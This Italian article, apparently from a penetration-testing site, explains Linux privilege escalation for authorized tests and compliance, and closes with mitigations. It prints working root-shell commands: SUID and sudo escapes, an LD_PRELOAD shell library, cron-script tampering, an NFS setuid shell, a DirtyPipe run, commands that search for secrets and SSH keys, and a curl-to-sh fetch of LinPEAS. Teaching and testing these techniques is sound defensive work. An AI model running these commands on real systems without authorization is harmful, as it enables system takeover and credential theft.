Privilege escalation su Linux: anatomia delle tecniche più sfruttate nei penetration test del 2026

La fase di privilege escalation rappresenta uno dei principali fattori di rischio nei test di sicurezza moderni, spesso più determinante dell’accesso iniziale. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito. Secondo il Rapporto Clusit 2025, l’Italia ha registrato 357 incidenti gravi nel 2024, con un incremento del 15,2% rispetto all’anno precedente, e il credential access rappresenta circa il 30% degli eventi rilevati, una base di partenza che rende la post-exploitation, inclusa la privilege escalation, un vettore critico in qualsiasi strategia di difesa.

Il problema che nessuno vuole vedere

C’è una fase del penetration test che molte organizzazioni continuano a sottovalutare. Non è l’accesso iniziale – ormai riconosciuto come critico anche dal management meno tecnico – ma ciò che accade dopo: la capacità di un attaccante di muoversi verticalmente all’interno di un sistema già compromesso, scalando da un account limitato fino ai privilegi di root.

La privilege escalation su Linux è esattamente questa fase. È silenziosa, spesso automatizzabile, e si fonda quasi sempre su configurazioni errate che esistono di default in sistemi che non hanno mai ricevuto un hardening esplicito.

Questo articolo analizza i vettori di escalation più ricorrenti nella pratica operativa del 2026, con riferimento alle tecniche documentate nei framework MITRE ATT&CK e PTES (Penetration Testing Execution Standard), e con i comandi effettivi utilizzati nei test autorizzati.

Contesto normativo: perché la privilege escalation è rilevante per la compliance

Prima di entrare nel merito tecnico, vale la pena inquadrare il tema in prospettiva normativa.

Il Digital Operational Resilience Act (DORA, Reg. UE 2022/2554), pienamente applicabile dal gennaio 2025 per le entità finanziarie europee, introduce l’obbligo di Threat-Led Penetration Testing (TLPT) basato sul framework TIBER-EU. Questi test richiedono la simulazione realistica di attacchi avanzati – incluse le tecniche di escalation dei privilegi – su sistemi in produzione.

Analogamente, la Direttiva NIS2 (recepita in Italia con il D.Lgs. 138/2024) richiede che le entità essenziali e importanti adottino misure “adeguate e proporzionate” ai rischi specifici identificati, ai sensi dell’Art. 21. La privilege escalation, in questo contesto, non è più una questione puramente tecnica: è un requisito di compliance.

La fase che precede tutto: l’enumerazione sistematica

Un errore frequente, anche tra penetration tester con esperienza, è saltare o comprimere la fase di enumerazione per arrivare più velocemente all’escalation. Il risultato è quasi sempre lo stesso: si perde tempo su vettori che non esistono, mentre quello reale è lì, evidente, in attesa di essere trovato metodicamente.

L’enumerazione di un sistema Linux post-compromissione segue un ordine preciso:

# Identità e contesto dell'utente corrente

id && whoami && groups

# Sistema operativo, versione kernel, architettura

uname -a && cat /etc/os-release && cat /proc/version

# Processi in esecuzione come root

ps aux | grep -v "^\[" | awk '{if($1=="root") print $0}'

# Servizi di rete in ascolto

ss -tulnp

# Scheduled tasks

cat /etc/crontab

ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

crontab -l 2>/dev/null

# Binari con SUID impostato

find / -perm -4000 -user root -type f 2>/dev/null

# File scrivibili da utenti non privilegiati

find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys

Strumenti come unix-privesc-check automatizzano questa raccolta e producono un output strutturato che evidenzia le anomalie più significative. Tuttavia, l’automazione non sostituisce la comprensione: un enumeratore automatico può segnalare centinaia di potenziali problemi, ma solo la lettura critica distingue un falso positivo da un vettore reale.

Vettore 1: abuso di binari SUID

Il bit SUID (Set User ID) è un meccanismo del filesystem Unix che permette a un eseguibile di girare con i privilegi del suo proprietario, indipendentemente dall’utente che lo lancia. Quando un binario è di proprietà di root e ha il SUID impostato, chiunque lo esegua acquisisce temporaneamente i privilegi di root per la durata dell’esecuzione.

find / -perm -4000 -user root -type f 2>/dev/null

Il database GTFOBins (gtfobins.github.io) documenta ogni binario Linux noto che può essere sfruttato per l’escalation quando ha SUID impostato. Alcuni esempi pratici:

# find con SUID impostato

/usr/bin/find . -exec /bin/sh -p \; -quit

# python3 con SUID

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# vim con SUID impostato — caso SUID puro (non sudo)

./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Nota: il classico ':!/bin/bash' funziona via sudo ma non preserva l'EUID nel caso SUID puro

# bash con SUID — accesso root immediato

bash -p

Questo vettore è classificato nel framework MITRE ATT&CK come T1548.001 (Abuse Elevation Control Mechanism: Setuid and Setgid). La sua rilevazione richiede audit periodici dei permessi dei binari, idealmente integrati in pipeline di configuration management.

Vettore 2: configurazioni errate di sudo

Il comando sudo è probabilmente la fonte più ricca di vettori di privilege escalation nei sistemi Linux aziendali.

sudo -l

Le misconfigurazioni più frequenti includono:

NOPASSWD su binari che consentono escape di shell

Configurazioni come:

(ALL) NOPASSWD: /usr/bin/vim

(ALL) NOPASSWD: /usr/bin/less

(ALL) NOPASSWD: /usr/bin/python3

Qualsiasi di questi binari, quando eseguito con sudo, permette di lanciare una shell come root:

sudo vim -c ':!/bin/bash'

sudo less /etc/hosts   # poi digita !bash

sudo python3 -c 'import os; os.system("/bin/bash")'

Preservazione di LD_PRELOAD

Quando /etc/sudoers contiene env_keep+=LD_PRELOAD, è possibile iniettare una libreria condivisa appositamente costruita:

// privesc.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

void _init() {

unsetenv("LD_PRELOAD");

setresuid(0, 0, 0);  // copre RUID, EUID e SUID

system("/bin/bash -p");

}

gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so privesc.c

sudo LD_PRELOAD=/tmp/privesc.so <qualsiasi_binario_consentito>

Wildcard nei percorsi

Regole come (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py sono aggirabili:

echo 'import os; os.system("/bin/bash")' > /opt/scripts/exploit.py

sudo /usr/bin/python3 /opt/scripts/exploit.py

Vettore 3: cron job scrivibili

I task pianificati eseguiti come root che referenziano script scrivibili da utenti non privilegiati rappresentano un vettore silenzioso e affidabile.

cat /etc/crontab

ls -la /etc/cron.d/

cat /var/spool/cron/crontabs/root 2>/dev/null

Se un cron job di root esegue /opt/backup.sh e quel file è scrivibile:

ls -la /opt/backup.sh

# -rwxrwxrwx 1 root root

echo 'chmod +s /bin/bash' >> /opt/backup.sh

# Dopo l'esecuzione del cron:

bash -p

# root

Vettore 4: credenziali nei file di configurazione

Nei test su ambienti di produzione reali, questo è statisticamente il vettore con il tasso di successo più elevato.

# Cronologia dei comandi

cat ~/.bash_history

cat /root/.bash_history 2>/dev/null

 

# File di configurazione applicativi

grep -r "password\|passwd\|secret\|token\|api_key" /var/www/ 2>/dev/null

find /var/www -name ".env" -exec cat {} \; 2>/dev/null

 

# Chiavi SSH private

find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null

# Variabili d'ambiente dei processi

cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|secret\|key\|token"

Le credenziali trovate nelle applicazioni web sono spesso riutilizzate dall’amministratore di sistema anche per l’account root. Per le tecniche di sfruttamento delle chiavi SSH trovate durante questa fase esistono guide tecniche dedicate che coprono i workflow operativi completi, incluse le metodologie di SSH key hunting documentate da HackIta.

Vettore 5: NFS con no_root_squash

Le condivisioni NFS configurate con no_root_squash in /etc/exports permettono a un utente root su un sistema remoto di operare come root sui file della condivisione montata.

cat /etc/exports

# Esempio vulnerabile:

# /data *(rw,no_root_squash,sync)

# Dal sistema dell'attaccante (come root):

mount -t nfs <target_ip>:/data /tmp/nfsmount

cp /bin/bash /tmp/nfsmount/rootbash

chmod +s /tmp/nfsmount/rootbash

# Sul sistema target:

/data/rootbash -p

# uid=0(root)

Vettore 6: exploit del kernel, ultima risorsa

uname -r

searchsploit linux kernel <versione>

DirtyPipe (CVE-2022-0847), colpisce i kernel dalla 5.8 fino alle versioni immediatamente precedenti alle release in cui la patch è stata distribuita: 5.16.11, 5.15.25 e 5.10.102. I kernel della serie 5.10 e 5.15 antecedenti a queste release sono quindi vulnerabili, non solo quelli della serie 5.16:

gcc -o dirtypipe dirtypipe.c

./dirtypipe /etc/passwd

Queste tecniche devono essere utilizzate esclusivamente in contesti autorizzati e controllati, mai in ambienti di produzione senza esplicita autorizzazione documentata.

Automazione: LinPEAS per assessment ad alta velocità

# Esecuzione diretta

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee /tmp/linpeas_output.txt

I risultati in rosso/giallo indicano alta probabilità di escalation e richiedono analisi manuale approfondita.

Prioritizzazione dei vettori di privilege escalation

Vettore	Affidabilità	Rumore	Impatto sistema	Priorità
Credenziali nei file	Alta	Nessuno	Nessuno	1
sudo misconfiguration	Molto alta	Basso	Minimo	2
SUID binary abuse	Alta	Basso	Minimo	3
Cron job scrivibili	Alta	Nessuno	Minimo	4
NFS no_root_squash	Media	Basso	Minimo	5
Kernel exploit	Variabile	Alto	Potenzialmente alto	6

 

Mitigazioni: cosa implementare concretamente

Audit periodico dei permessi SUID/SGID, identificare e rimuovere il bit SUID da tutti i binari che non lo richiedono esplicitamente. Integrare questa verifica in pipeline CI/CD o tool di configuration management come Ansible o Puppet.

Review delle policy sudo: applicare il principio del minimo privilegio. Evitare NOPASSWD su binari che permettono escape di shell. Considerare l’uso di Cmnd_Alias per limitare precisamente le operazioni consentite.

Protezione delle credenziali: adottare strumenti di secret management (HashiCorp Vault, AWS Secrets Manager) per eliminare le credenziali in chiaro dai file di configurazione. Implementare la rotazione automatica delle credenziali di servizio.

Configurazione sicura di NFS: rimuovere no_root_squash da tutte le esportazioni. Limitare le esportazioni agli IP strettamente necessari tramite host list esplicite.

Patch management sistematico: mantenere i kernel aggiornati con policy di patching proporzionate al rischio e documentate nelle policy interne, come richiesto dall’approccio “adeguato e proporzionato” dell’Art. 21 NIS2. Per le vulnerabilità critiche con exploit pubblico disponibile, la finestra temporale dovrebbe essere la più breve possibile.

Monitoring delle attività di escalation: implementare regole SIEM per rilevare pattern anomali: esecuzione di comandi come root da utenti non privilegiati, accessi inusuali a /etc/passwd o /etc/shadow, montaggio di share NFS da host non autorizzati.

Conclusione

La privilege escalation su Linux non è un problema di exploit sofisticati o vulnerabilità zero-day. È un problema di configurazione, e le configurazioni errate che la rendono possibile esistono, in forme diverse, nella grande maggioranza dei sistemi Linux mai sottoposti a hardening esplicito.

Nel contesto normativo europeo del 2026 – con DORA operativo per le entità finanziarie e NIS2 che estende i requisiti di testing a un perimetro molto più ampio di organizzazioni – la comprensione di questi vettori non può più essere limitata ai team di offensive security. È una conoscenza che deve permeare i team di IT operations, i security architect e i responsabili della compliance.

La vera domanda non è se questi vettori esistano, ma chi li individuerà per primo.

Fonti

• Rapporto Clusit 2025: https://clusit.it/rapporto-clusit/
• Direttiva (UE) 2022/2555 (NIS2), Art. 21: https://eur-lex.europa.eu/legal-content/IT/TXT/?uri=CELEX:32022L2555
• Lgs. 4 settembre 2024, n. 138: recepimento italiano NIS2
• MITRE ATT&CK T1548.001: https://attack.mitre.org/techniques/T1548/001/
• CVE-2022-0847 DirtyPipe, advisory originale: https://dirtypipe.cm4all.com
• GTFOBins: https://gtfobins.github.io
• LinPEAS / PEASS-ng: https://github.com/carlospolop/PEASS-ng
• PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org

A cura del team di HackIta (https://hackita.it), risorsa italiana di ethical hacking, penetration testing e sicurezza delle reti.